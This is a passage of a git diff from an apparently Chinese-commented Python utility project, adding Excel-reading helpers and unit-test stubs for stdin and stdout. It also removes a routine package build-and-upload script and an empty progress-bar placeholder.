excel_file.sheet_names + return sheet_names + + +def get_filter_names(file_path, column_index): + """ + 获取excel文件中某列的所有值分类 + + Args: + file_path: 文件路径 str + column_index: 需要筛选的列索引,从0开始 int + """ + df = pd.read_excel(file_path) + column_name = df.columns[column_index] + # 除去残留nan值 + df = df.dropna(subset=[column_name]) + categories = df[column_name].unique().tolist() + return categories + + +def get_latest_file(dir_path): + """ + 获取目录下最新生成的文件路径 + + Args: + dir_path: 目录路径 str + """ + latest_file = None + latest_ctime = 0 + for root, dirs, files in os.walk(dir_path): + for file in files: + file_path = os.path.join(root, file) + ctime = os.path.getctime(file_path) + if ctime > latest_ctime: + latest_ctime = ctime + latest_file = file_path + return latest_file diff --git a/tests/test_utils/test_input.py b/tests/test_utils/test_input.py new file mode 100644 index 0000000..0fd292c --- /dev/null +++ b/tests/test_utils/test_input.py @@ -0,0 +1,59 @@ +import io +import sys + + +def stub_stdin(testcase_inst, inputs): + ''' + 输入内容 + :param testcase_inst: + :param inputs: + :return: + ''' + stdin = sys.stdin + + def cleanup(): + sys.stdin = stdin + + testcase_inst.addCleanup(cleanup) + sys.stdin = io.StringIO(inputs) + + +def stub_stdout(testcase_inst): + ''' + 输出内容 + :param testcase_inst: + :return: + ''' + stderr = sys.stderr + stdout = sys.stdout + + def cleanup(): + sys.stderr = stderr + sys.stdout = stdout + + testcase_inst.addCleanup(cleanup) + sys.stderr = io.StringIO() + sys.stdout = io.StringIO() + +# 用法举例 +# def test_fun(): +# x = int(input()) +# print(x + 5) +# +# +# class UnitTest(): +# def test_fun(self): +# print('请输入数字') +# stub_stdin(self, '2\n4\n') # 依次输入2,4 +# +# stub_stdout(self) +# test_fun() +# self.assertEqual(str(sys.stdout.getvalue()), '7\n') +# +# stub_stdout(self) # 重置输出 +# test_fun() +# self.assertEqual(str(sys.stdout.getvalue()), '9\n') +# +# +# if __name__ == '__main__': +# unittest.main() diff --git "a/tests/\346\234\252\346\240\207\346\263\250\345\233\276\347\211\207/down4img.jpg" "b/tests/\346\234\252\346\240\207\346\263\250\345\233\276\347\211\207/down4img.jpg" new file mode 100644 index 0000000..0901d90 Binary files /dev/null and "b/tests/\346\234\252\346\240\207\346\263\250\345\233\276\347\211\207/down4img.jpg" differ diff --git a/upload.sh b/upload.sh deleted file mode 100644 index f8d9ee4..0000000 --- a/upload.sh +++ /dev/null @@ -1,4 +0,0 @@ -rm -rf ./dist/* -python setup.py sdist -python setup.py bdist_wheel -twine upload dist/* \ No newline at end of file diff --git a/utils/progress.py b/utils/progress.py deleted file mode 100644 index 7624f21..0000000 --- a/utils/progress.py +++ /dev/null @@ -1,6 +0,0 @@ -# 进度条 - - - -# todo:进度条待完善,用于所有的方法中 -